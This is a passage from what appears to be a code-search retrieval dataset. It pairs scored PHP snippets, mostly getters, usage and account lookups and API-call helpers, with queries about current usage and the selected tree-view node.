$Row)\n\t\t{\n\t\t\t$Total += $this->CalcCost($Row->apiCalls);\n\t\t\t$this->totalCalls += $Row->apiCalls;\n\t\t\t$this->totalUpdates++;\n\t\t}\n\n\t\t$this->totalCost = $Total;\n\t\treturn $Total;\n\t}", "title": "" }, { "docid": "fa6ec4fad627e5d4f80b0236a2a059a4", "score": "0.6085391", "text": "public function getUse() {\n return $this->use;\n }", "title": "" }, { "docid": "aa0884e98bec01e97d170807a455088c", "score": "0.601619", "text": "public function getKeyUsage()\n {\n return $this->key_usage;\n }", "title": "" }, { "docid": "a9e09e0c7a353496e208d1a868afd373", "score": "0.5980863", "text": "function GetAccountBalance() {\n\t\treturn $this->mtMakeRequest ();\n\t}", "title": "" }, { "docid": "eec8a558ed3b45b8bd048f50ac4e4306", "score": "0.5979761", "text": "public static function getUsage($class)\n {\n return self::getManager()->getUsage($class);\n }", "title": "" }, { "docid": "f9220420e5ad43e81796bb1a188b8cea", "score": "0.5960606", "text": "public function getExtendedUsage();", "title": "" }, { "docid": "ab9f147745e6875373ffd0c587f43b8c", "score": "0.59341323", "text": "public function getUsages() {\n\t\treturn clone $this->usages;\n\t}", "title": "" }, { "docid": "262074224d357d3b350451e5d9280d38", "score": "0.5927732", "text": "public function get_usage(){\n\t\tif(\n\t\t\t(isset($this->request->query['username']))&&\n\t\t\t(isset($this->request->query['mac']))\n\t\t){\n\n\t\t\t//Some defaults \n\t\t\t$data_used\t= null;\n\t\t\t$data_cap\t= null;\n\t\t\t$time_used\t= null;\n\t\t\t$time_cap\t= null;\n\n\t\t\t//We need a civilized way to tell the query if there are NO accountig data yet BUT there is a CAP (time_cap &| data_cap)! \n\n\t\t\t//$data_used\t= 10000;\n\t\t\t//$data_cap\t= 50000;\n\t\t\t//$time_used\t= 100;\n\t\t\t//$time_cap\t= 200;\n\n\t\t\t$username \t= $this->request->query['username'];\n\t\t\t$mac\t\t= $this->request->query['mac'];\n\t\t\t\n\t\t\t$this->MacUsage = ClassRegistry::init('MacUsage');\n\t\t\t$q_m_u\t= $this->MacUsage->find('first', array(\n\t\t\t\t'conditions'\t=> array('MacUsage.username' => $username, 'MacUsage.mac'=> $mac)\n\t\t\t));\n\t\t\t\n\n\t\t\tif($q_m_u){\n\t\t\t\t$data_used\t= $q_m_u['MacUsage']['data_used'];\n\t\t\t\t$data_cap\t= $q_m_u['MacUsage']['data_cap'];\n\t\t\t\t$time_used\t= $q_m_u['MacUsage']['time_used'];\n\t\t\t\t$time_cap\t= $q_m_u['MacUsage']['time_cap'];\n\t\t\t}else{\n\t\t\t\t//Check what type of user it is since there was no record under MacUsage table....\n\n\t\t\t\t$this->Radcheck = ClassRegistry::init('Radcheck');\n\t\t\t\t$type \t\t\t= 'unknown';\n\t\t\t\t$q_r \t\t\t= $this->Radcheck->find('first',\n\t\t\t\t\tarray('conditions' => array('Radcheck.username' => $username,'Radcheck.attribute' => 'Rd-User-Type'))\n\t\t\t\t);\n\t\t\t\tif($q_r){\n\t\t\t\t $type = $q_r['Radcheck']['value'];\n\t\t\t\t}\n\n\t\t\t\t$new_entry = false;\n\n\t\t\t\tif($type == 'user'){\n\t\t\t\t\t$this->PermanentUser->contain();\n\t\t\t\t\t$q_u \t\t= $this->PermanentUser->find('first',\n\t\t\t\t\t\tarray('conditions' => array('PermanentUser.username' => $username))\n\t\t\t\t\t);\n\t\t\t\t\tif($q_u){\n\t\t\t\t\t\t$data_used\t= $q_u['PermanentUser']['data_used'];\n\t\t\t\t\t\t$data_cap\t= $q_u['PermanentUser']['data_cap'];\n\t\t\t\t\t\t$time_used\t= $q_u['PermanentUser']['time_used'];\n\t\t\t\t\t\t$time_cap\t= $q_u['PermanentUser']['time_cap'];\n\t\t\t\t\t\tif(($time_cap == null)&&($data_cap == null)){\n\t\t\t\t\t\t\t$new_entry = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif($type == 'voucher'){\n\t\t\t\t\t$this->Voucher = ClassRegistry::init('Voucher');\n\t\t\t\t\t$this->Voucher->contain();\n\t\t\t\t\t$q_v \t\t= $this->Voucher->find('first',\n\t\t\t\t\t\tarray('conditions' => array('Voucher.name' => $username))\n\t\t\t\t\t);\n\t\t\t\t\tif($q_v){\n\t\t\t\t\t\t$data_used\t= $q_v['Voucher']['data_used'];\n\t\t\t\t\t\t$data_cap\t= $q_v['Voucher']['data_cap'];\n\t\t\t\t\t\t$time_used\t= $q_v['Voucher']['time_used'];\n\t\t\t\t\t\t$time_cap\t= $q_v['Voucher']['time_cap'];\n\t\t\t\t\t\tif(($time_cap == null)&&($data_cap == null)){\n\t\t\t\t\t\t\t$new_entry = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif($type == 'device'){\n\t\t\t\t\t$this->Device = ClassRegistry::init('Device');\n\t\t\t\t\t$this->Device->contain();\n\t\t\t\t\t$q_v \t\t= $this->Device->find('first',\n\t\t\t\t\t\tarray('conditions' => array('Device.name' => $username))\n\t\t\t\t\t);\n\t\t\t\t\tif($q_v){\n\t\t\t\t\t\t$data_used\t= $q_v['Device']['data_used'];\n\t\t\t\t\t\t$data_cap\t= $q_v['Device']['data_cap'];\n\t\t\t\t\t\t$time_used\t= $q_v['Device']['time_used'];\n\t\t\t\t\t\t$time_cap\t= $q_v['Device']['time_cap'];\n\t\t\t\t\t\tif(($time_cap == null)&&($data_cap == null)){\n\t\t\t\t\t\t\t$new_entry = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t//If we don't have any data yet for this user ..we just specify its cap and 0 used....\n\t\t\tif($new_entry){\n\t\t\t\t$profile = $this->_find_user_profile($username);\n \tif($profile){\n\t\t\t\t\t$counters = $this->Counters->return_counter_data($profile,$type);\n\t\t\t\t\tif(array_key_exists('time', $counters)){\n\t\t\t\t\t\t$time_cap = $counters['time']['value'];\n\t\t\t\t\t\t$time_used= 0;\n\t\t\t\t\t}\n\t\t\t\t\tif(array_key_exists('data', $counters)){\n\t\t\t\t\t\t$data_cap = $counters['data']['value'];\n\t\t\t\t\t\t$data_used= 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$data = array('data_used' => $data_used, 'data_cap' => $data_cap, 'time_used' => $time_used, 'time_cap' => $time_cap);\n \n\t\t\t$this->set(array(\n 'success' => true,\n 'data' => $data,\n '_serialize' => array('success','data')\n ));\n\n\t\t}else{\n\t\t\t$this->set(array(\n 'success' => false,\n 'message' => array('message' => \"Require a valid MAC address and username in the query string\"),\n '_serialize' => array('success','message')\n ));\n\t\t}\n\t}", "title": "" }, { "docid": "7fa6a9652a33493e6603d5d9511fbcc4", "score": "0.58844346", "text": "public function getBalanceFromCurrentUser()\n {\n }", "title": "" }, { "docid": "86e1b4472456c6deae0114f41c641eaa", "score": "0.5863234", "text": "public function getGetTerminalUsageResp()\n {\n return $this->get(self::GETTERMINALUSAGERESP);\n }", "title": "" }, { "docid": "94e53e21cd217e43ffc08fb0909b6c53", "score": "0.58607304", "text": "public function getUsage()\r\n {\r\n $tmpParams = $this->getParams();\r\n $this->setParam( 'usage' );\r\n $exec = $this->execute();\r\n $this->setParams( $tmpParams );\r\n\r\n return $exec;\r\n }", "title": "" }, { "docid": "b14cb8c3cd07660724bb93c5c629bbb8", "score": "0.5836516", "text": "public function getUsage()\n {\n return '';\n }", "title": "" }, { "docid": "4fc9fb0d0303d74dd527f9fa07bef5cb", "score": "0.5829277", "text": "function _dropbox_space_usage() {\r\n\t$access_token = variable_get(\"dropbox_access_token\", \"\");\r\n\t$url = 'https://api.dropboxapi.com/2/users/get_space_usage';\r\n\t$data = array();\r\n\t//Process can't continue without access token\r\n\tif(empty($access_token)) {\r\n\t\tdrupal_set_message(\"Please authorize your dropbox APP.\", 'error');\r\n\t\twatchdog('dropbox', \"Please authorize your dropbox APP.\");\r\n\t\treturn false;\r\n\t}\r\n\t//Upload operation headers\r\n\t$headers = array(\r\n\t\t'Authorization: Bearer ' . $access_token,\r\n\t);\r\n\r\n\t$resp = _dropbox_curl($url, $data, 'current_account', $headers);\r\n\t$resp_object = json_decode($resp);\r\n\r\n\tif(isset($resp_object->used)) {\r\n\t\treturn $resp_object;\r\n\t} else {\r\n\t\twatchdog('dropbox', \"Dropbox space usage info getting failed.\");\r\n\t}\r\n\treturn false;\r\n}", "title": "" }, { "docid": "2bd6374f9494fe88e156e677fbac914c", "score": "0.581354", "text": "public function getChartUsageForUpdate()\n {\n $userName = $this->chartConfig->getUsername();\n $created = new \\DateTime();\n $created->setTime(0,0,0);\n $results = $this->repository->findAfterCreated($userName, $created);\n\n // The cron has already ran today, therefor ignoring a current update, only update once a day.\n if ( count($results) == 0 )\n {\n return new StorageUsage(new \\Datetime(), $this->getStorageUsageFromCacheByUserName($userName), $userName);\n }\n }", "title": "" }, { "docid": "581282c2828943bebcb0e1b09cd5cca1", "score": "0.5782035", "text": "public function getSendingQuotaUsage()\n {\n $current = $this->getCurrentSubscription();\n if (is_null($current)) {\n return 0;\n }\n $tracker = $this->getQuotaTracker();\n return $tracker->getUsage();\n }", "title": "" }, { "docid": "b79637d80d76ab0c714e2805da46d609", "score": "0.5761564", "text": "public function getUsageString() {\n return $this->buildUsageString();\n }", "title": "" }, { "docid": "90a798209ee334cd6f28630ac81a4721", "score": "0.575631", "text": "public function getAccountInfo()\n {\n return $this->account_info;\n }", "title": "" }, { "docid": "08a79b952eb009697dacf05ef69d7741", "score": "0.5755077", "text": "public function getCurrentUser()\r\n {\r\n return $this->curl->get('users/me');\r\n }", "title": "" }, { "docid": "594e7dd8655c80c3210aae41304d588a", "score": "0.575378", "text": "public function getUserRate()\n {\n return $this->userRate;\n }", "title": "" }, { "docid": "c7ad280daeada7b847f7d6355cdf0dc2", "score": "0.57047176", "text": "public function getCurrentUserInfo()\n {\n $uri = self::FACEBOOK_GRAPH_URI.'me';\n return $this->getFromGraph($uri);\n }", "title": "" }, { "docid": "3dcb0178c8fd1ef6a97d683034fd484f", "score": "0.56857586", "text": "function getrusage ($who = null) {}", "title": "" }, { "docid": "7acbcb248e19ac19d48840979fbc706f", "score": "0.5684388", "text": "public function getUsages();", "title": "" }, { "docid": "b8539bf70e4170e52530ff1189b1bc5c", "score": "0.5668689", "text": "public function getUsed() {\r\n return memory_get_usage(true);\r\n }", "title": "" }, { "docid": "c697b5ae916dadfb6bd3eace787d7b25", "score": "0.56663007", "text": "public function details()\n {\n return $this->http->get('account');\n }", "title": "" }, { "docid": "5ef6bc25c20af74d3a07c079510ed748", "score": "0.56503254", "text": "public function getAccountBalance()\n {\n return $this->request('GET', '/account/balance/');\n }", "title": "" }, { "docid": "c8ab0ebcde499bf17eb4d04bbd57e318", "score": "0.56498444", "text": "public function getCurrentUser()\n {\n return DB::table('personal_access_tokens')->latest()->first();\n }", "title": "" }, { "docid": "ed22793a3de848330b650342b6474198", "score": "0.5640007", "text": "public function getAccountSummary()\n {\n return $this->accountSummary;\n }", "title": "" }, { "docid": "81eb389732fe788239b575baf84620b0", "score": "0.56391114", "text": "public function getAccount() {\n return $_SESSION['ftp_account'];\n }", "title": "" }, { "docid": "49a64b28bc311f33d71fb904728d51bc", "score": "0.5636224", "text": "public function getAccount()\n {\n return $this->getAttribute('account');\n }", "title": "" }, { "docid": "8f30c07235360859bb986eba3ed23455", "score": "0.5608538", "text": "public function getAccount()\n {\n return $this->httpGet(\"/\" . self::API_VERSION . \"/account\");\n }", "title": "" }, { "docid": "52fb52e5b78aa42ff1957a3e4634cb9a", "score": "0.56017333", "text": "public function getAccount() {\n return $this->account;\n }", "title": "" }, { "docid": "922ccd0111f88ad7cf263807c0050d01", "score": "0.56012315", "text": "public function _getAccount()\n {\n if (!$this->hasData('account')) {\n $this->setAccount(Mage::getStoreConfig('google/analytics/account'));\n }\n return $this->_getPageTrackingCode($this->getData('account'));\n }", "title": "" }, { "docid": "dacd770c51f4b6859dd15c5926e9ce12", "score": "0.5599691", "text": "public function testFindCustomerCurrentUsage()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }", "title": "" }, { "docid": "39875d629d53a222ece8419abe0a40a7", "score": "0.55866075", "text": "public function getActiveRateAttribute()\n {\n $rate = $this->getActiveUserRateObject();\n return $rate->formattedRate;\n }", "title": "" }, { "docid": "ac056795f85aae919edfc85bc2174ea8", "score": "0.55767953", "text": "function getUsages()\n\t{\n\t\tglobal $ilDB;\n\n\t\t// get usages in learning modules\n\t\t$q = \"SELECT * FROM file_usage WHERE id = \".$ilDB->quote($this->getId(), \"integer\");\n\t\t$us_set = $ilDB->query($q);\n\t\t$ret = array();\n\t\twhile($us_rec = $ilDB->fetchAssoc($us_set))\n\t\t{\n\t\t\t$ret[] = array(\"type\" => $us_rec[\"usage_type\"],\n\t\t\t\t\"id\" => $us_rec[\"usage_id\"],\n\t\t\t\t\"hist_nr\" => $us_rec[\"usage_hist_nr\"]);\n\t\t}\n\n\t\treturn $ret;\n\t}", "title": "" }, { "docid": "20b341d87d2c531de76c8ec033db44ca", "score": "0.5573707", "text": "public function getAccount()\n {\n return $this->account;\n }", "title": "" }, { "docid": "20b341d87d2c531de76c8ec033db44ca", "score": "0.5573707", "text": "public function getAccount()\n {\n return $this->account;\n }", "title": "" }, { "docid": "20b341d87d2c531de76c8ec033db44ca", "score": "0.5573707", "text": "public function getAccount()\n {\n return $this->account;\n }", "title": "" }, { "docid": "20b341d87d2c531de76c8ec033db44ca", "score": "0.5573707", "text": "public function getAccount()\n {\n return $this->account;\n }", "title": "" }, { "docid": "ee49c05de2280a64ca40b7f5eb331afc", "score": "0.5565127", "text": "public function usage()\n {\n $msg = 'Usage: ' . $this->name;\n if (static::$usage) {\n $msg .= ' ' . static::$usage;\n }\n\n return static::responseMsg($msg);\n }", "title": "" }, { "docid": "fbc237f21217f5f0ce3937de8424520f", "score": "0.55478394", "text": "public function getCurrent()\n {\n return $this->getUser('current');\n }", "title": "" }, { "docid": "cd109ec9795294a1a77c855b6acb9869", "score": "0.5540625", "text": "public function index()\n {\n //\n //check gate for owner\n if(\\Gate::denies(\"customer-only\"))\n return redirect('/');\n // Get the currently authenticated user...\n $user = \\Auth::user();\n\n $uses = UsageHistory::used($user->id)->get();\n\n return view('customers/usage_his', ['uses' => $uses]);\n\n\n }", "title": "" }, { "docid": "6f4a5508b3b3507611337951792f8c00", "score": "0.5520809", "text": "public function getLatestUser()\n {\n return $this->_getCached('latestUser');\n }", "title": "" }, { "docid": "c5beae81e0d2dc81066d36d8ee732571", "score": "0.5512148", "text": "public function getAccount() {\n\t\treturn $this->account;\n\t}", "title": "" }, { "docid": "421ae1cf8d5a1596ecb75436b41ea580", "score": "0.55106616", "text": "public function getWallTimeUsage()\n {\n return $this->wall_time_usage;\n }", "title": "" }, { "docid": "13751d05daa5ff3a00f81a3de33dc125", "score": "0.54977566", "text": "public function getCurrentAccountFromRequest() {\n\t\t$users = $this->getAccountList();\n\t\treturn $users->byID( (int)$this->getCurrentAccountID() );\n\t}", "title": "" }, { "docid": "6e5dfc501ab7c15c34f00429041b42b2", "score": "0.54965013", "text": "public function stats()\n {\n return $this->sendRequest('stats');\n }", "title": "" }, { "docid": "692e1cdbb3f28c6831122da757ab901e", "score": "0.54939413", "text": "public function getAccount(): string\n {\n return $this->account;\n }", "title": "" }, { "docid": "1fcb59d86fe928e9e871a332774e59ae", "score": "0.54687464", "text": "public function current(): GoldPrice\n {\n return $this->apiCaller->getSingle(\"\");\n }", "title": "" }, { "docid": "af5590e40fb7fdb710634facc26ad48a", "score": "0.54665625", "text": "public static function getCurrentIncrease(){\n\n\t\t\t$queryCurrentIncrease = \"select value\n\t\t\t\tfrom variables\n\t\t\t\twhere name = 'currentIncrease';\";\n\n\t\t\t$currentIncrease = Own::queryToData($queryCurrentIncrease);\n\n\t\t\treturn $currentIncrease;\n\n\t\t}", "title": "" }, { "docid": "fe087e1ba8ae64ca8688dc8e76cf7279", "score": "0.5465586", "text": "public function getCurrent(){\n\t\tif(Auth::check()){\n\t\t\treturn Auth::user();\n\t\t}else{\n\t\t \treturn \"{}\";\n\t\t}\n\t}", "title": "" }, { "docid": "b49c508d121644c5fada10a563d7574f", "score": "0.54564476", "text": "function getAccount()\n {\n return \\UNL\\VisitorChat\\User\\Record::getByUID($this->getUID());\n }", "title": "" }, { "docid": "ac5a9397328b25cdfd5cdadc89091b58", "score": "0.54516536", "text": "public function getUseCount()\n\t{\n\t\treturn $this->useCount;\n\t}", "title": "" }, { "docid": "a276eee7648e95755d2763d410c3b026", "score": "0.5444512", "text": "public static function CurrentUtente()\n {\n $userid = \\Yii::$app->user->identity->id;\n return Utenti::findOne($userid);\n }", "title": "" }, { "docid": "6d6ab505cd24d53646dcbc3ccd731dcd", "score": "0.54307127", "text": "public function getUt()\n {\n return $this->ut;\n }", "title": "" }, { "docid": "5268d94552354fa51481bc1b4e9de200", "score": "0.54291815", "text": "public function getKeyUsage() {\r\n return ipworksencrypt_keymgr_get($this->handle, 14 );\r\n }", "title": "" }, { "docid": "6dfcc094a78c6db860fd26712d21eb6b", "score": "0.54284656", "text": "function getDiskUsage()\n\t{\n\t require_once(\"./Modules/File/classes/class.ilObjFileAccess.php\");\n\t\treturn ilObjFileAccess::_lookupDiskUsage($this->id);\n\t}", "title": "" }, { "docid": "42548623764e815ad229382458524a14", "score": "0.54241663", "text": "public function stats()\n {\n if (is_null($this->stats)) {\n $this->stats = new Stats($this->accessToken);\n }\n\n return $this->stats;\n }", "title": "" }, { "docid": "dc5de119ab4d02ff37cac666947d044a", "score": "0.54095614", "text": "public function getSystem() {\n\t\treturn $this->call('current');\n\t}", "title": "" }, { "docid": "3cb863b15da7412e00a413ac52972350", "score": "0.5395313", "text": "public function getGetTerminalUsageDataDetailsResp()\n {\n return $this->get(self::GETTERMINALUSAGEDATADETAILSRESP);\n }", "title": "" }, { "docid": "101f2c976da2b6783819ad767973f418", "score": "0.5393745", "text": "public function getBalance()\n {\n return $this->_makeGetRequest('account/tfabalance');\n }", "title": "" }, { "docid": "f98d0a5860a2bb3271939c5f1bc3fda0", "score": "0.5392934", "text": "public function user()\n\t{\n\t\treturn $this->request('getuserstatus')->getuserstatus;\n\t}", "title": "" }, { "docid": "f895c1fc80599a092f654c492cc8d6d5", "score": "0.53897345", "text": "public function getInfo()\n {\n return $this->getUser();\n }", "title": "" }, { "docid": "77d3e02e6d4299ce3f2e7fce096556d2", "score": "0.5388697", "text": "protected function getCurrentOwner()\n {\n return $this->memcache->get($this->name);\n }", "title": "" }, { "docid": "73cdb4bc8f39e8149587fac5d12cbf1c", "score": "0.53883964", "text": "public function resourceUsage()\r\n {\r\n\r\n return sprintf(\r\n 'Time: %s, Memory: %4.2fMb, Memory in peak: %4.2fMb',\r\n $this->timeSinceStartOfRequest(),\r\n $this->memoryToString(memory_get_usage(TRUE)),\r\n $this->memoryToString(memory_get_peak_usage(TRUE))\r\n );\r\n\r\n }", "title": "" }, { "docid": "985c9de4b391c34ab02c409cc908805f", "score": "0.53748363", "text": "public function get_account()\n {\n return $this->get(\"account\",\"\");\n }", "title": "" }, { "docid": "479c7c6d91077741a3be2ccee1daa98c", "score": "0.537246", "text": "public function getCurrentUser() {\n \t $this->oauth->fetch(HOST.'users');\n\t $json = json_decode($this->oauth->getLastResponse(), true);\n\t return $json;\n }", "title": "" }, { "docid": "6c1cc14de3508758cbd7c16af23f572a", "score": "0.5354736", "text": "public function getUsage(): ?string {\n $val = $this->getBackingStore()->get('usage');\n if (is_null($val) || is_string($val)) {\n return $val;\n }\n throw new \\UnexpectedValueException(\"Invalid type found in backing store for 'usage'\");\n }", "title": "" }, { "docid": "28a68730f7bbde74ba32b65a01036320", "score": "0.5352956", "text": "public function getCurrentUsage($nominterne)\n\t{\n\t // on crée un query builder\n\t $querybuilder = $this->_em->CreateQueryBuilder();\n\t $querybuilder->select('s.usage')->from('SYM16SimpleStockBundle:Stocklist', 's');\n\t $querybuilder->where('s.nom = :nom')->setParameter('nom', $nominterne);\n\t // on récuère la query à partir du quesrybuilder\n\t $query = $querybuilder->getQuery();\n\t // on l'exécute et on renvoie sa valeur\t\n\t return $query->getSingleScalarResult();\n\n\t}", "title": "" }, { "docid": "7e02222ce6eb59f43ce11eb70e54f87f", "score": "0.53524625", "text": "public function getTotalUsage(): ?int\n {\n return $this->totalUsage;\n }", "title": "" }, { "docid": "d25f2fc54929823a1f828ebddf1eb386", "score": "0.53439885", "text": "public function getUseBy()\n {\n return $this->useBy;\n }", "title": "" }, { "docid": "cc79a1535bed25b389860fc5d3e4285b", "score": "0.5341214", "text": "function getStats()\n {\n return $this->_cacheStats;\n }", "title": "" }, { "docid": "26087f65af4b0c81c4764b5fa796dc6c", "score": "0.53377354", "text": "function access($account) {\n return c4m_og_access();\n }", "title": "" }, { "docid": "a3fee4300d34e0f14dba0935557161be", "score": "0.5332286", "text": "public static function getUserInfo() {\n return Raxan::data(DataKeys::USER_INFO);\n }", "title": "" }, { "docid": "f788b1b89da879df9eeee102f25d6e89", "score": "0.53264755", "text": "public function used()\n {\n $this->updateAttributes([\n 'expires' => time() + UserTokens::EXPIRE_TIME,\n 'last_used_at' => time(),\n 'user_agent' => \\Yii::$app->request->getUserAgent()\n ]);\n }", "title": "" }, { "docid": "fee03ce8365afa70d2c1bb9a96cace22", "score": "0.5313355", "text": "public function getUsage($apiKey) {\n\n $ch = curl_init('https://api.perfecttense.com/usage');\n\n curl_setopt_array($ch, array(\n CURLOPT_POST => FALSE,\n CURLOPT_RETURNTRANSFER => TRUE,\n CURLOPT_HTTPHEADER => array(\n \"Authorization: \" . $apiKey\n )\n ));\n\n $response = curl_exec($ch);\n\n if ($response === FALSE) {\n die(curl_error($ch));\n }\n\n $responseData = json_decode($response, TRUE);\n\n return $responseData;\n }", "title": "" }, { "docid": "55fa035bdaf799df4c8a926e35dac3d0", "score": "0.5302758", "text": "public function getUsedNow() : string\n {\n return $this->findOrFail($this->getFiles()->get($this->getUsedStoragePath()));\n }", "title": "" }, { "docid": "e1abb851fa8e4db7a76a0bd621aa8cb8", "score": "0.5302412", "text": "public function current() {\n $output = \\shell_exec('free -b');\n return (int) \\trim(\\substr($output, 166, 11));\n }", "title": "" }, { "docid": "8fb4cc3ea96d52b9b5f80f327a4b3f4f", "score": "0.5300647", "text": "public function getAccountBalance()\n {\n // build the URL for the API call\n $url = $this->buildURL(\n 'GetAccountBalance'\n );\n\n // submit query to constructed URL\n $response = $this->guzzle->get($url);\n\n // if response succeeded, return the decoded response\n return $this->processAPIResponse($response, 'GetAccountBalanceResult');\n }", "title": "" }, { "docid": "ac216212260fa49a5faf5b4b89ee48b9", "score": "0.529122", "text": "public function getAmountInUse(): string\n {\n return $this->getFormattedPrice($this->getCredit()->getAmountInUse() / 100);\n }", "title": "" }, { "docid": "f43c4cc50bdf05b2207262926038bf5b", "score": "0.5286677", "text": "public function getFirewallUser() {\n return inship_fedexrates_get($this->handle, 18 );\n }", "title": "" }, { "docid": "7dabf655fb51b362b68b30639af24865", "score": "0.5281059", "text": "public function useCount()\n {\n return $this->get('cmd-use');\n }", "title": "" } ]
9f083abf194176f266180205e6e5d016
This method returns the object associated with the currently selected tree view node.
[ { "docid": "46a931a09916807d4f41739f664e9f85", "score": "0.6536296", "text": "public function getSelectedItem() {\n return $this->findNodeByHash(wb_get_value($this->controlID));\n }", "title": "" } ]
[ { "docid": "5dc73e9af16fbbca09f4bc9590686778", "score": "0.7160008", "text": "public function getCurrentTreeNode()\n {\n $tree = $this->getTree();\n\n return $tree->getTreeNodeById($this->getCurrentTreeNodeDataId());\n }", "title": "" }, { "docid": "5d73250aa18a0e21efbbbbb1658f9eba", "score": "0.7118563", "text": "protected function getCurrentContentObject()\n {\n return $this->getCurrentTreeNode()->getContentObject();\n }", "title": "" }, { "docid": "2fa66550ad41039f7cd6779e50a56502", "score": "0.65076494", "text": "public function getTreeModelInstance()\n {\n if (is_null($this->_treeModel)) {\n $this->_treeModel = Mage::getResourceSingleton('oggetto_news/category_tree');\n }\n return $this->_treeModel;\n }", "title": "" }, { "docid": "7c9aeae0108df716fa9861bab9ad671c", "score": "0.6377761", "text": "public function getTree() {\n\t$this->loadTree();\n\treturn $this->tree;\n}", "title": "" }, { "docid": "852322388ce43237f8addc63953791b0", "score": "0.6354874", "text": "public function getTree(){\r\n\t\treturn $this->tree;\r\n\t}", "title": "" }, { "docid": "25ba1e04c387164cdc355099b6e7b52b", "score": "0.6262909", "text": "public static function getInstance()\n\t{\n\t\tif (self::$treeObject === null) {\n\t\t\tself::init();\n\t\t}\n\n\t\treturn self::$treeObject;\n\t}", "title": "" }, { "docid": "3e5ab8dfa1412b92cb901972d8e4b58e", "score": "0.61081254", "text": "function &getTree()\n\t{\n\t\treturn $this->tree;\n\t}", "title": "" }, { "docid": "d73ccec98b0238534abdbc76763e8b87", "score": "0.60516286", "text": "public function getTree()\n {\n if (null===$this->tree) {\n $this->loadTree();\n }\n return $this->tree;\n }", "title": "" }, { "docid": "d3e7de93d2a9094fc4e6b684950aec95", "score": "0.60423523", "text": "public function current()\n {\n $data = $this->result->current();\n\n $object = clone $this->model;\n $object->setData($data);\n $object->setRefId($data['_id']);\n return $object;\n }", "title": "" }, { "docid": "92fe8996d0e096d078fc040942201770", "score": "0.59990686", "text": "public function getTree() {\n if (empty($this->tree)) {\n $this->makeTree();\n }\n\n return $this->tree;\n }", "title": "" }, { "docid": "41e9c4e98f031fbef8ab920bee6609d5", "score": "0.59056485", "text": "public function getTreeModel()\n {\n return Mage::getResourceModel('oggetto_news/category_tree');\n }", "title": "" }, { "docid": "321d08446be5df990e5ce25578c8d11c", "score": "0.5876257", "text": "private function getResultNode() {\n $nodeId = $this->properties->getWidgetProperty(self::PROPERTY_NODE);\n if (!$nodeId) {\n return null;\n }\n\n return $this->models[NodeModel::NAME]->getNode($nodeId, 0);\n }", "title": "" }, { "docid": "a4beb1e1ce1363fd8c51bd226b31e7e8", "score": "0.5870883", "text": "function gettree() {\n\t\tif($this->treeBaseID) $obj = DataObject::get_by_id($this->sourceObject, $this->treeBaseID);\n\t\telse $obj = singleton($this->sourceObject);\n\t\t\n\t\tif($this->filterFunc) $obj->setMarkingFilterFunction($this->filterFunc);\n\t\telse if($this->sourceObject == 'Folder') $obj->setMarkingFilter('ClassName', 'Folder');\n\t\t$obj->markPartialTree();\n\n\t\t// If we've already got values selected, make sure that we've got them in our tree\n\t\tif($_REQUEST['forceValues']) {\n\t\t\t$forceValues = split(\" *, *\", trim($_REQUEST['forceValues']));\n\t\t\tforeach($forceValues as $value) {\n\t\t\t\t$obj->markToExpose($this->getByKey($value));\n\t\t\t}\t\t\t\n\t\t}\n\t\t\n\t\t$eval = '\"<li id=\\\"selector-' . $this->name . '-$child->' . $this->keyField . '\\\" class=\\\"$child->class\" . $child->markingClasses() . \"\\\"><a>\" . $child->' . $this->labelField . ' . \"</a>\"';\n\t\techo $obj->getChildrenAsUL(\"class=\\\"tree\\\"\", $eval, null, true);\n\t}", "title": "" }, { "docid": "e77192d84e6a3d668a7c0cc50d53426e", "score": "0.5869798", "text": "public function getTreeModel()\n {\n return Mage::getResourceModel('catalog/category_tree');\n }", "title": "" }, { "docid": "afe79095efce2820779dab67f906403c", "score": "0.57915485", "text": "public function getParentObject() {\n \treturn $this->parentObject;\n }", "title": "" }, { "docid": "75621aaafcadb3d95683d468912d3768", "score": "0.5790423", "text": "public function getCurrentItem()\n {\n $item = $this->getBaseItem();\n\n $found = false;\n while ($current = $item->getCurrentChild())\n {\n $found = true;\n\n $item = $current;\n }\n\n if ($found)\n {\n return $item;\n }\n\n return null;\n }", "title": "" }, { "docid": "8cc7ee07326760f56fb06f00c63b2f39", "score": "0.5784824", "text": "private function getNode() {\n\t\t\treturn $this->node;\n\t\t}", "title": "" }, { "docid": "883c02395b70e2cfcf439af56516c5b2", "score": "0.5754063", "text": "function getParent()\n {\n return OOArticle::getArticleById($this->_re_id);\n }", "title": "" }, { "docid": "4b58e0df787179d55367f1eb0bc0d358", "score": "0.5749995", "text": "public function currentItem()\r\n {\r\n\r\n return $this->aggregate->get($this->index);\r\n }", "title": "" }, { "docid": "dfd2cdba47e0735575e965beeb3a61a8", "score": "0.57399577", "text": "private function select()\n {\n return self::$object;\n }", "title": "" }, { "docid": "1b5b7c27705a844abb000f8bf4cd407b", "score": "0.57149625", "text": "public function getNode()\n {\n return $this->node;\n }", "title": "" }, { "docid": "ab47fe070cbe15ce021857fc696f3741", "score": "0.5712733", "text": "public function get_parent()\n\t{\n\t\treturn $this->current($this->current()->get_parent());\n\t}", "title": "" }, { "docid": "faa2c4404843900bad7d4a5fd6c4759d", "score": "0.5701412", "text": "function current() {\n\t\treturn parent::current();\n }", "title": "" }, { "docid": "a6c8f47d54e82ed63e764a77b9d29f83", "score": "0.5695817", "text": "public function getSelected()\n {\n return $this->selected;\n }", "title": "" }, { "docid": "a6c8f47d54e82ed63e764a77b9d29f83", "score": "0.5695817", "text": "public function getSelected()\n {\n return $this->selected;\n }", "title": "" }, { "docid": "52f9d68328abc2aeff2b68c5dda819df", "score": "0.56921536", "text": "public function getParent() {\n\t$this->loadParent();\n\treturn $this->parent;\n}", "title": "" }, { "docid": "8063ab600b2789051342dd1a757facf9", "score": "0.56828326", "text": "public function current()\n {\n return parent::current();\n }", "title": "" }, { "docid": "8063ab600b2789051342dd1a757facf9", "score": "0.56828326", "text": "public function current()\n {\n return parent::current();\n }", "title": "" }, { "docid": "8063ab600b2789051342dd1a757facf9", "score": "0.56828326", "text": "public function current()\n {\n return parent::current();\n }", "title": "" }, { "docid": "8063ab600b2789051342dd1a757facf9", "score": "0.56828326", "text": "public function 